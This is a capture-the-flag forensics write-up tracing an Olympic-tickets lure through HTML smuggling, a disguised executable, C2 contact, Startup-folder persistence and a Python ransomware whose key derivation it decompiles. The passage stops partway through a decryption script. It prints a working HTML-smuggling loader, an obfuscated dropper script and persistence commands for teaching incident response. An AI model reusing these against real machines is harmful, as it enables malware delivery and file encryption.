Contents

Midnightflag 2024 - I want my tickets back

Info
Hello everyone, I created a forensic challenge for the 2024 edition of Midnight Flag CTF in collaboration with @Niceclear. The challenge was divided into 5 parts. Here is the writeup

Writeup - I want my tickets back

Difficulty: easy to medium

Warning
Be careful when handling files

Step 1

Statement

Jean discovered a package in his mailbox. Inside was a USB key and a letter announcing that he had won tickets to the Paris 2024 Olympic Games. The letter specified that the tickets were on the USB key. Intrigued, Jean inserted the key into his computer and opened the file : an information note in HTML format. As instructed, the ticket downloaded automatically. After consulting his ticket, John realized that it was all a hoax and, disappointed, he went away for a few days. When John returned, he was stunned to find that he was now unable to open his files. All now had the .enc extension.

Flag format : TXXXX.XXX:Hash

File provided : Informations.html

Solve

Info
With the information in the statement, we can assume that the attack took place over several days

We are provided with an HTML file named Informations.html, probably the information note opened by Jean.

If you open the HTML file in a browser, a JO-PARIS2024-Billets.iso file is downloaded automatically.

/midnightflag-2024/I-want-my-tickets-back/html_image.png

If we edit the file, we can see JavaScript code in a <script> tag. We understand that a file is reconstructed and downloaded if we open the HTML file with a browser. (The file was previously encrypted with XOR and base64 encoded) :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    <script>
        function b64tAb(base64) {
           var bs = window.atob(base64);
           var len = bs.length;

           var b = new Uint8Array( len );
           for (var i = 0; i < len; i++) { b[i] = bs.charCodeAt(i); }
           return b;
        }
        function d(i,k) {
           var out = new Uint8Array(i)
           for(var i = 0;i<out.length;i++) {
              out[i] = out[i]^k
           }
           return out
        }     
        var f = "VVVVVVVVVVVVVVVVVVVVVVVVVVVV[...]VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV"
        var fd = b64tAb(f)
        var pf = d(fd,85)
        var blob = new Blob([pf], {type: 'None'});
        var a = document.createElement('a')
        document.body.appendChild(a)
        a.style = "display: none"
        var url = window.URL.createObjectURL(blob)
        console.log(blob)
        a.href = url
        a.download = "JO-PARIS2024-Billets.iso"
        a.click()
     </script>

The downloaded file is an ISO :

1
2
$ file JO-PARIS2024-Billets.iso 
JO-PARIS2024-Billets.iso: ISO 9660 CD-ROM filesystem data '21_03_2024'

If we mount the ISO on a Windows machine with the basic configurations, for an average user, the content of the ISO looks like an image:

/midnightflag-2024/I-want-my-tickets-back/iso-content-hidden.png

For a slightly more informed user or with the “show hidden elements” and “show file extensions” settings enabled, we understand that the image is actually a shortcut (LNK). In addition, we can notice the presence of 3 other files with the “hidden” attribute.

  • billets.png
  • img.jpg
  • rickroll.cmd

/midnightflag-2024/I-want-my-tickets-back/iso-content.png

The LNK launches the rickroll.cmd script :

1
2
3
$ cat JO-PARIS2024-Billets.lnk 
L�F�E�P�O� �:i�+00�/D:\f2rickroll.cmdJ  ��.rickroll.cmd
                                                       shell32.dll

The rickroll.cmd script is slightly obfuscated :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ cat rickroll.cmd            
@echo off
SETLOCAL EnableDelayedExpansion

start img.jpg

set exe2=bi
set u168=ll
set u798=e
set exe1=ts
set u415=.pn
set ia=g
set v152=%temp%\%random%.%random%
echo f|xcopy %exe2%%u168%%u798%%exe1%%u415%%ia% %v152% /h /s /e /f
start /B %v152%                                    

We understand that the script :

  • Open the image img.jpg

/midnightflag-2024/I-want-my-tickets-back/rickroll.jpeg

  • Copy and rename the billets.png file to %temp% (=C:\Users\<user>\AppData\Local\Temp)
  • It executes billets.png

If we perform a file on the images, we see that billets.png is in reality an executable :

1
2
3
$ file billets.png img.jpg 
billets.png: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, 6 sections
img.jpg:     JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1400x1050, components 3

If we run some strings on the exe, we can obtain some information :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ strings billets.png  
!This program cannot be run in DOS mode.
.text
`.data
.rdata
@.edata
@.idata
.reloc
[...]
demon.x64.exe
1
2
3
4
5
6
7
$ strings -el billets.png
C:\Windows\System32\notepad.exe
C:\Windows\SysWOW64\notepad.exe
POST
87.19.156.68
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-type: */*

We recovered an IP, a User-Agent and the original name of the file demon.x64.exe. This file appears to be the malicious file we are looking for:

1
2
$ sha256sum billets.png  
3cba38fdf84cf7ea3334040c8b4539403e73adc185d612085628042a695e8da3  billets.png

To conclude, the technique used is HTML smuggling : https://attack.mitre.org/techniques/T1027/006/

Flag : T1027.006:3cba38fdf84cf7ea3334040c8b4539403e73adc185d612085628042a695e8da3


Step 2

Statement

The malicious file communicates with a C2 server to receive instructions. Find the C2 server IP and port.

Flag format : IP:PORT of C2

File provided : Disk.7z

Solve

We are given a vmdk. We must first mount the VMDK.

1
$ 7z e Disk.7z

Mount the VMDK

1
$ wget https://raw.githubusercontent.com/dfir-scripts/EverReady-Disk-Mount/master/ermount.sh && chmod +x ermount.sh
1
./ermount.sh -i disk.vmdk -m mountpoint
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Use ERMount to mount a disk, disk image
Image type VMDK
Source Information
Disk.vmdk: VMware4 disk image
VMDK
modprobe nbd
 Excecuting:  qemu-nbd -r -c /dev/nbd1 Disk.vmdk
/dev/nbd1
nbd mount successful!
No errors detected.
 1      2048    206847    204800  100M EFI system partition         fd0d1001-1040-4628-8153-b5172512f57d
Set Partition Offset
Disk /dev/nbd1: 60 GiB, 64424509440 bytes, 125829120 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 88F6855E-90FE-40BB-B778-0CF3D393311E

Device          Start       End   Sectors  Size Type
/dev/nbd1p1      2048    206847    204800  100M EFI System
/dev/nbd1p2    206848    239615     32768   16M Microsoft reserved
/dev/nbd1p3    239616 124739248 124499633 59.4G Microsoft basic data
/dev/nbd1p4 124739584 125825023   1085440  530M Windows recovery environment

Enter the starting block: 239616
Offset: 239616 * 512 = 122683392

Executing Mount Command.....
Defaults file system type is ntfs, see mount man pages for a complete list
Other common filesystem types: vfat, ext3, ext4, hfsplus, iso9660, udf
mount -t ntfs -o ro,loop,show_sys_files,streams_interface=windows,offset=122683392 /dev/nbd1 mnt

Disk.vmdk Mounted at: mnt

'$AttrDef'  '$LogFile'      '$UpCase'                  PerfLogs              'System Volume Information'
'$BadClus'  '$MFT'          '$Volume'                 'Program Files'         Users
'$Bitmap'   '$MFTMirr'      '$WinREAgent'             'Program Files (x86)'   Windows
'$Boot'     '$Recycle.Bin'  'Documents and Settings'   ProgramData            pagefile.sys
'$Extend'   '$Secure'        DumpStack.log.tmp         Recovery               swapfile.sys

Success!

We must find the IP and port of the C2 with which billets.png communicates. We don’t have a PCAP. Two solutions are available to us

Solution 1 – Dynamic Analysis

With the previous step, we know that the C2 was copied to temp before being executed.

We know that the file is in :

1
set v152=%temp%\%random%.%random%

To understand what %random% corresponds to, we can open a terminal on Windows:

1
2
> echo %random%.%random%
13422.28820

We find a file named 12601.27496 in %temp%

We rename it : 12601.exe

We mount a Windows VM, we run the beacon with Wireshark in the background.

Sorting by destination, we should see few packets captured. We find HTTPS communications.

/midnightflag-2024/I-want-my-tickets-back/wireshark.png

Solution 2 – Search in files

We search the files for clues :

1
2
3
4
5
6
7
8
9
$ cd Users/Jean/Documents
$ tree
.
├── datasheets
│   ├── 744774222.enc
│   ├── fm600tu-3a_e.enc
│   └── read_datasheet.enc
├── desktop.ini
└── secret.enc

Note the presence of the secret.enc file (encrypted) :

1
2
3
$ cat secret.enc  
�������������j��q��|�e��H�~L�yi?V�
                                  �Ǡ���>Xs▒���j�����                                                                                                                                                                                                                                            

In the downloaded files, we note the presence of Sysmon :

1
2
3
$ cd Users/Jean/Downloads
$ ls
JO-PARIS2024-Billets.enc  Sysmon64.enc  desktop.ini  sysmonconfig.enc

It can be assumed that Sysmon is installed on the machine.

System Monitor (Sysmon) is a Windows system service and device driver that, once installed on a system, remains resident across system reboots to monitor and log system activity to the Windows event log. It provides detailed information about process creations, network connections, and changes to file creation time.

We note the information : It provides details about the network connections.

We can check that Sysmon is correctly installed in several ways :

  • look in the SYSTEM hive for the presence of the registry key HKLM\SYSTEM\ControlSet001\Services\sysmonDrv\Parameters:
1
2
3
4
5
6
7
8
$ python3                 
Python 3.11.6 (main, Oct  8 2023, 05:06:43) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from regipy.registry import RegistryHive
>>> reg = RegistryHive('/Path/to/mnt/Windows/System32/config/SYSTEM')
>>> reg.get_key('System\ControlSet001\Services\sysmonDrv').get_values(as_json=True)
[Value(name='Type', value=1, value_type='REG_DWORD', is_corrupted=False), Value(name='Start', value=0, value_type='REG_DWORD', is_corrupted=False), Value(name='ErrorControl', value=1, value_type='REG_DWORD', is_corrupted=False), Value(name='ImagePath', value='SysmonDrv.sys', value_type='REG_EXPAND_SZ', is_corrupted=False), Value(name='DisplayName', value='SysmonDrv', value_type='REG_SZ', is_corrupted=False), Value(name='Description', value='System Monitor driver', value_type='REG_SZ', is_corrupted=False)]
>>> exit()
  • check the presence of the dedicated .evtx file.
1
2
$ ls Windows/System32/winevt/Logs | grep -i sysmon
Microsoft-Windows-Sysmon%4Operational.evtx
  • check the presence of the executable and the driver (Path: C:\Windows\)
1
2
3
$ ls -al Windows | grep -i sysmon
-rwxrwxrwx 1 root root  4545344 Mar 22 13:11 Sysmon64.exe
-rwxrwxrwx 2 root root   176648 Mar 22 15:34 SysmonDrv.sys

It’s the log file that will interest us. We can analyze .evtx from the Windows event viewer, with tools like https://github.com/omerbenamram/evtx or from a SIEM. I chose Splunk

We know that our malicious file was copied to %temp% (=C:\Users\Jean\AppData\Local\Temp\28989.30020) before being executed.

We filter to have the Event ID 3.

Event ID 3 - Network connection : The network connection event logs TCP/UDP connections on the machine. It is disabled by default. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names IP addresses, port numbers and IPv6 status.

We do our Splunk research :

1
2
index="mctf-2024" "Event.System.Channel"="Microsoft-Windows-Sysmon/Operational" "Event.System.EventID"=3 "Event.EventData.Image"="C:\\Users\\Jean\\AppData\\Local\\Temp\\*"
| table Event.EventData.Image, Event.EventData.DestinationIp, Event.EventData.DestinationPort

/midnightflag-2024/I-want-my-tickets-back/splunk-sysmon-network.png

Flag : 87.19.156.68:443

Step 3

Statement

To ensure that access to the target machine is maintained, the attacker has implemented persistence. Please identify the persistence technique used and provide the associated file name.

Flag format : TXXXX.XXX:filename

File provided : Disk.7z

Solve

Logs PowerShell Operational

If we quickly browse the PowerShell-Operational logs, we notice commands encoded in base64, which is quite suspicious.

  • Event ID 4103 - Information - Pipeline execution
  • Event ID 4104 - Commented - Execute remote command
1
index="mctf-2024" "Event.System.Channel"="Microsoft-Windows-PowerShell/Operational" ("Event.System.EventID"=4103 OR "Event.System.EventID"=4104)

/midnightflag-2024/I-want-my-tickets-back/splunk-powershell.png

We adjust the search to obtain all the encoded commands :

1
2
index="mctf-2024" "Event.System.Channel"="Microsoft-Windows-PowerShell/Operational" "Event.System.EventID"=4104 "powershell* -enc*" 
| table Event.EventData.ScriptBlockText

/midnightflag-2024/I-want-my-tickets-back/splunk-powershell-table.png

If we decode the base64, we obtain the following commands:

1
2
3
4
5
6
7
Get-ChildItem -Force C:\Users\Jean\Documents\
Set-ItemProperty -Path "C:\Users\Jean\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskkill.exe" -Name Attributes -Value 0
Copy-Item "C:\Users\Jean\AppData\Local\Temp\12601.27496" -Destination "C:\Users\Jean\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskkill.exe"
Get-ChildItem -Force "C:\Users\Jean\AppData\Local\Temp"
net config 
workstation systeminfo
ipconfig /all

We can see that the beacon 12601.27496 has been copied and renamed in C:\Users\Jean\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskkill.exe.

Event Viewer

/midnightflag-2024/I-want-my-tickets-back/eventviewer.png

Persistence technique

On Google : "mitre" "attack" "AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"https://attack.mitre.org/techniques/T1547/001/

/midnightflag-2024/I-want-my-tickets-back/google-search.png

/midnightflag-2024/I-want-my-tickets-back/mitre-technique.png

Flag : T1547.001:taskkill.exe

Step 4

Statement

Jean’s files are no longer readable. Find the responsible malicious file. Give the SHA256 hash and give the file execution time in UTC.

Flag format : hash:HH:MM:SS

File provided : Disk.7z

Solve

Solution 1 - Sysmon logs

Find the cryptolocker and calculate the hash

The files have been encrypted, so we are looking for a CryptoLocker. We know that Sysmon logs are present. This article https://posts.bluraven.io/defeating-ransomware-by-using-sysmon-and-powershell-b671920f3bb1 explains that we need to look for Sysmon - Event ID 11 - FileCreate events. With a little doc or by browsing the Sysmon logs Event ID 11, we notice the TargetFilename field. We deduce that our cryptolocker created our encrypted files, we can look for the file C:\\Users\\Jean\\Documents\\secret* (with a *) because we do not know the original extension:

1
2
index="mctf-2024" "Event.System.Channel"="Microsoft-Windows-Sysmon/Operational" "Event.System.EventID"=11 Event.EventData.TargetFilename="C:\\Users\\Jean\\Documents\\secret*"
| table Event.EventData.Image, Event.EventData.TargetFilename

We obtain a result :

/midnightflag-2024/I-want-my-tickets-back/splunk-sysmon-filecreate.png

The executable responsible for creating the encrypted file : C:\Users\Jean\AppData\Local\Temp\svchost.exe. We notice the TargetFilename is secret.txt which means that the cryptolocker first encrypted the file and then renamed it with the extension .enc.

On peut faire un sha256 de notre fichier en allant le chercher dans le disque :

1
2
sha256sum Users/Jean/AppData/Local/Temp/svchost.exe  
784d2ae1fdb3faa7c87c2b971562b193d6894f485d061ee9075c468beec9d870  Users/Jean/AppData/Local/Temp/svchost.exe
Find execution time

With the Sysmon - Event ID 1 - Process Creation events, we can obtain the execution time of the CryptoLocker :

/midnightflag-2024/I-want-my-tickets-back/splunk-sysmon-process-create.png

Solution 2 - MFT + Prefetch

Find the CryptoLocker and calculate the hash

On Linux, the MFT is directly accessible if the VMDK has been mounted.

On Windows we can see a modification time at 12:41 (11:41 UTC) :

/midnightflag-2024/I-want-my-tickets-back/windows-modification-time.png

To export the MFT under Windows we can use : https://gist.github.com/secabstraction/4044f4aadd3ef21f0ca9

In a PowerShell with administrative rights :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
> . .\Export-MFT.ps1
> Export-MFT -Volume E

MFT Volume   : E
ComputerName : DESKTOP-FSHLV0M
NetworkPath  : \\DESKTOP-FSHLV0M\C$\Users\Forensic\AppData\Local\Temp\slir5krp.x13
MFT File     : C:\Users\Forensic\AppData\Local\Temp\slir5krp.x13
MFT Size     : 297 MB

> .\MFTECmd.exe -f "C:\Users\Forensic\Desktop\slir5krp.x13" --csv "C:\Users\Forensic\Desktop\" --csvf mft.csv

We can use TimelineExplorer to consult the MFT CSV. Sorting by Last Modified, we notice that before file encryption, a SVCHOST.EXE was created in the temporary directory, which is not normal behavior :

/midnightflag-2024/I-want-my-tickets-back/timelineexplorer.png

Find execution time

C:\Windows\Prefetch. Prefetch files have the extension .pf.

Tip
The creation timestamp of a Prefetch file corresponds to the first execution of the application.

We recover all the Prefetch and parse with the PECmd tool from EricZimmerman:

1
PECmd.exe -d "Prefetch" --csv "./" --csvf mctf-prefetch.csv --json "./"  --jsonf mctf-prefetch.json

We search in the data \\USERS\\JEAN\\APPDATA\\LOCAL\\TEMP\\SVCHOST.EXE, we come across the prefetch: SVCHOST.EXE-F660E5C4.pf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
PECmd.exe -f SVCHOST.EXE-F660E5C4.pf

PECmd version 1.5.0.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/PECmd

Command line: -f SVCHOST.EXE-F660E5C4.pf

Keywords: temp, tmp

Processing SVCHOST.EXE-F660E5C4.pf

Created on: 2024-04-05 21:23:15
Modified on: 2024-03-29 11:41:52
Last accessed on: 2024-04-05 21:36:23

Executable name: SVCHOST.EXE
Hash: F660E5C4
File size (bytes): 76 990
Version: Windows 10 or Windows 11

Run count: 2
Last run: 2024-03-29 11:41:52
Other run times: 2024-03-29 11:41:52

Volume information:

#0: Name: \VOLUME{01da7d5c8eb7b64e-be8ec198} Serial: BE8EC198 Created: 2024-03-23 19:59:04 Directories: 16 File references: 61

Directories referenced: 16

00: \VOLUME{01da7d5c8eb7b64e-be8ec198}\$EXTEND
01: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS
02: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN
03: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA
04: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL
05: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP (Keyword True)
06: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\_MEI49322 (Keyword True)
07: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\_MEI49322\CRYPTO (Keyword True)
08: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\_MEI49322\CRYPTO\CIPHER (Keyword True)
09: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\_MEI49322\CRYPTO\HASH (Keyword True)
10: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\_MEI49322\CRYPTO\PROTOCOL (Keyword True)
11: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\_MEI49322\CRYPTO\UTIL (Keyword True)
12: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS
13: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\SYSTEM32
14: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\SYSTEM32\EN-GB
15: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.19041.1110_NONE_60B5254171F9507E

Files referenced: 102

00: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\SYSTEM32\NTDLL.DLL
01: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\SVCHOST.EXE (Executable: True)
02: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\SYSTEM32\KERNEL32.DLL
03: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\SYSTEM32\KERNELBASE.DLL
04: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\SYSTEM32\LOCALE.NLS
[...]
89: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOWNLOADS\JO-PARIS2024-BILLETS.ISO
90: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOWNLOADS\SYSMONCONFIG.XML
91: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOWNLOADS\SYSMON\EULA.TXT
92: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOWNLOADS\SYSMON\SYSMON.EXE
93: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOWNLOADS\SYSMON\SYSMON64.EXE
94: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOWNLOADS\SYSMON\SYSMON64A.EXE
95: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOCUMENTS\SECRET.TXT
96: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOCUMENTS\DATASHEETS\744774222.PDF
97: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOCUMENTS\DATASHEETS\FM600TU-3A_E.PDF
98: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOCUMENTS\DATASHEETS\READ_DATASHEET.PDF
99: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DESKTOP\CALENDRIER-PAR-EPREUVES-DES-JEUX-OLYMPIQUES-DE-PARIS-2024.PDF
100: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DESKTOP\INFORMATIONS.HTML
101: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DESKTOP\MICROSOFT EDGE.LNK


---------- Processed SVCHOST.EXE-F660E5C4.pf in 0,14631520 seconds ----------

It interacted with our encrypted files and this is the correct execution path: 01: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\SVCHOST.EXE (Executable: True)

We can look in the MFT for the creation date of this prefetch:

/midnightflag-2024/I-want-my-tickets-back/svchost-mft.png

The executable was first launched at 11:41:52 UTC

Flag : 784d2ae1fdb3faa7c87c2b971562b193d6894f485d061ee9075c468beec9d870:11:41:52

Step 5

Statement

Decrypt John’s important files.

File provided : Disk.7z

Solve

We found the malicious file in the previous step, we can recover the exe from the disk dump.

Find the language and Packer

Manually

To start analyzing the malware, we did a file on the file which tells us that it is PE32 executable for Windows

1
2
file svchost.exe          
svchost.exe: PE32+ executable (GUI) x86-64, for MS Windows, 7 sections

We can obtain the file format and compilation date (Thu Mar 21 14:32:27 2024 UTC) :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
objdump -p svchost.exe | more

svchost.exe:     format de fichier pei-x86-64

Caractéristiques 0x22
        executable
        large address aware

Time/Date               Thu Mar 21 14:32:27 2024
Magic                   020b    (PE32+)
MajorLinkerVersion      14
MinorLinkerVersion      38
SizeOfCode              000000000002ae00
SizeOfInitializedData   0000000000017200
SizeOfUninitializedData 0000000000000000
AddressOfEntryPoint     000000000000c330
BaseOfCode              0000000000001000
ImageBase               0000000140000000
SectionAlignment        00001000
FileAlignment           00000200
MajorOSystemVersion     5
MinorOSystemVersion     2
MajorImageVersion       0
MinorImageVersion       0
MajorSubsystemVersion   5
MinorSubsystemVersion   2
Win32Version            00000000
SizeOfImage             00049000
SizeOfHeaders           00000400
CheckSum                00665b82
Subsystem               00000002        (Windows GUI)
DllCharacteristics      0000c160
                                        HIGH_ENTROPY_VA
                                        DYNAMIC_BASE
                                        NX_COMPAT
                                        GUARD_CF
                                        TERMINAL_SERVICE_AWARE
SizeOfStackReserve      00000000001e8480
SizeOfStackCommit       0000000000001000
SizeOfHeapReserve       0000000000100000
SizeOfHeapCommit        0000000000001000
LoaderFlags             00000000
NumberOfRvaAndSizes     00000010

The strings -el command allows you to get a first idea of what the executable contains. Crypto libs and python code :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Py_DecRef
Failed to get address for Py_DecRef
GetProcAddress
Py_DecodeLocale
Failed to get address for Py_DecodeLocale
Py_ExitStatusException
Failed to get address for Py_ExitStatusException
Py_Finalize
Failed to get address for Py_Finalize
Py_InitializeFromConfig
Failed to get address for Py_InitializeFromConfig
Py_IsInitialized
Failed to get address for Py_IsInitialized
Py_PreInitialize
Failed to get address for Py_PreInitialize
PyConfig_Clear
Failed to get address for PyConfig_Clear

bCrypto\Hash\_SHA256.pyd
bCrypto\Hash\_SHA384.pyd
bCrypto\Hash\_SHA512.pyd
bCrypto\Hash\_ghash_clmul.pyd
bCrypto\Hash\_ghash_portable.pyd
bCrypto\Hash\_keccak.pyd
bCrypto\Hash\_poly1305.pyd
bCrypto\Math\_modexp.pyd
bCrypto\Protocol\_scrypt.pyd
bCrypto\PublicKey\_ec_ws.pyd
bCrypto\PublicKey\_ed25519.pyd
bCrypto\PublicKey\_ed448.pyd
bCrypto\PublicKey\_x25519.pyd
bCrypto\Util\_cpuid_c.pyd
bCrypto\Util\_strxor.pyd

We can try to find the version of python used :

1
2
3
4
5
6
7
8
strings svchost.exe | grep -i python
Error loading Python DLL '%s'.
Failed to pre-initialize embedded python interpreter!
Failed to allocate PyConfig structure! Unsupported python version?
Failed to set python home path!
Failed to start embedded python interpreter!
bpython310.dll
6python310.dll

We seem to be on python 3.10. We can deduce that the file is probably an executable program written in Python. This kind of exe can be created using packer like PyInstaller. We can check this :

1
2
3
4
5
strings svchost.exe| grep -i pyinstaller
Cannot open PyInstaller archive from executable (%s) or external archive (%s)
PYINSTALLER_STRICT_UNPACK_MODE
PyInstaller: FormatMessageW failed.
PyInstaller: pyi_win32_utils_to_utf8 failed.
Automatically

On google linux malware analysis cheat sheet

/midnightflag-2024/I-want-my-tickets-back/unpacking-code.png

Or detect programmation language of exe program github

We finally come across https://github.com/horsicq/Detect-It-Easy

/midnightflag-2024/I-want-my-tickets-back/detect-packer.png

We now know that the packer is Pyinstaller

On google: pyinstaller unpacker

We find extremecoders-re/pyinstxtractor et pyinstxtractor-ng

Obtaining the source code

With one or the other, the result will be the same :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
> ./pyinstxtractor-ng svchost.exe      
[+] Processing svchost.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 6433612 bytes
[+] Found 64 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: main.pyc
[+] Found 144 files in PYZ archive
[+] Successfully extracted pyinstaller archive: svchost.exe

You can now use a python decompiler on the pyc files within the extracted directory
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
> python3.10 pyinstxtractor/pyinstxtractor.py svchost.exe
[+] Processing svchost.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 6433612 bytes
[+] Found 64 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: main.pyc
[+] Found 144 files in PYZ archive
[+] Successfully extracted pyinstaller archive: svchost.exe

You can now use a python decompiler on the pyc files within the extracted directory

On google : decompile pyc file python 3.10

https://stackoverflow.com/questions/71278961/how-can-i-decompile-pyc-files-from-python-3-10

We compile the tool :

1
2
cmake .
make

We decompile the code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
> ./pycdc ../svchost.exe_pyinstxtractor/main.pyc
[..]
def e0(fn, k):
Unsupported opcode: WITH_EXCEPT_START
    cs = 65536
    i = b'\xac\xac'
    v = b'\x00'
    c = b'\x1f\x1f\x1f'
    o = b'\xb5\xb5\xb5\xb5\xb5'
    f = b'\xc8'
    g = b'\xd2\xd2\xd2\xd2'
    e = AES.new(k, AES.MODE_CBC, i + v + c + o + g + f)
# WARNING: Decompyle incomplete
[..]

A function is not completely decompiled.

Looking at the outcomes of the project, we come across this one : https://github.com/zrax/pycdc/issues/255

On google : pycdc Unsupported opcode: WITH_EXCEPT_START https://corgi.rip/blog/pyinstaller-reverse-engineering/

You must add the OPCODE here :

/midnightflag-2024/I-want-my-tickets-back/add-opcode.png

We recompile everything :

1
2
cmake .
make

We still have an unsupported opcode at all :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Unsupported opcode: RERAISE
    cs = 65536
    i = b'\xac\xac'
    v = b'\x00'
    c = b'\x1f\x1f\x1f'
    o = b'\xb5\xb5\xb5\xb5\xb5'
    f = b'\xc8'
    g = b'\xd2\xd2\xd2\xd2'
    e = AES.new(k, AES.MODE_CBC, i + v + c + o + g + f)
# WARNING: Decompyle incomplete

We add case Pyc::RERAISE_A:

Some opcodes have an extra _A, as seen in some issues

We have two warnings but the function is almost decompiled:

1
2
3
> ./pycdc ../svchost.exe_pyinstxtractor/main.pyc > ../main.py
Warning: Stack history is not empty!
Warning: block stack is not empty!

Decryption

Solution 1 - Python script

We notice that the IV is written at the beginning of the file: fn.write_bytes(i + v + c + o + g + f).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import base64 as b64
import binascii as bnx
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from pathlib import Path as p

def uf_1():
    x = ['b64', 'en', 'code', 'he', 'xl', 'ify', 'unh', 'ex', 'lify']
    return [''.join(part) for part in zip(x[::3], x[1::3], x[2::3])]

def k0():
    f = uf_1()
    k1 = getattr(b64, f[0])(b'PySup')
    k2 = getattr(b64, f[0])(b'3r')
    k3 = getattr(b64, f[0])(b'K3y')
    k = getattr(bnx, f[1])(k1 + k2 + k3)
    kh = getattr(bnx, f[1])(k)
    kh_r = kh[::-1]
    fk = kh_r

